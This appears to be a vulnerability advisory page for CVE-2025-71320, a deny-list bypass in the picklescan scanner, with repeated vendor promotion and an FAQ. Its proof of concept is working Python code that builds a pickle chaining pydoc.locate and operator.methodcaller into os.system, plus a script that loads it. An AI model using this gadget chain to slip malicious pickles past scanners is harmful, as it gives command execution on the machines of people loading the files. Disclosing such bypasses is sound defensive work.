Summary
Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly
- pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module).
- operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.
Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.
PoC
use the provided script to create a malicious pickle file
import pickle
import pydoc
import operator
import os
class ModuleLocator:
def __init__(self, module_name):
self.module_name = module_name
def __reduce__(self):
return (pydoc.locate, (self.module_name,))
class RCEPayload:
def __reduce__(self):
cmd = "notepad" #put your payload here
mc = operator.methodcaller("system", cmd)
return (mc, (ModuleLocator("os"),))
def generate_exploit():
payload = RCEPayload()
try:
with open("bypass.pkl", "wb") as f:
f.write(pickle.dumps(payload))
print("File 'bypass.pkl' created.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
generate_exploit()
The generated payload will not be flagged as dangerous by picklescan but is actually malicious.
import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))
Script to open the pickle file, demonstrating impact
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
Frequently Asked Questions
- What is CVE-2025-71320? CVE-2025-71320 is a high-severity security vulnerability in picklescan (pip), affecting versions < 0.0.33. It is fixed in 0.0.33.
- Which versions of picklescan are affected by CVE-2025-71320? picklescan (pip) versions < 0.0.33 is affected.
- Is there a fix for CVE-2025-71320? Yes. CVE-2025-71320 is fixed in 0.0.33. Upgrade to this version or later.
- Is CVE-2025-71320 exploitable, and should I be worried? Whether CVE-2025-71320 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-71320 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-71320? Upgrade
picklescanto 0.0.33 or later.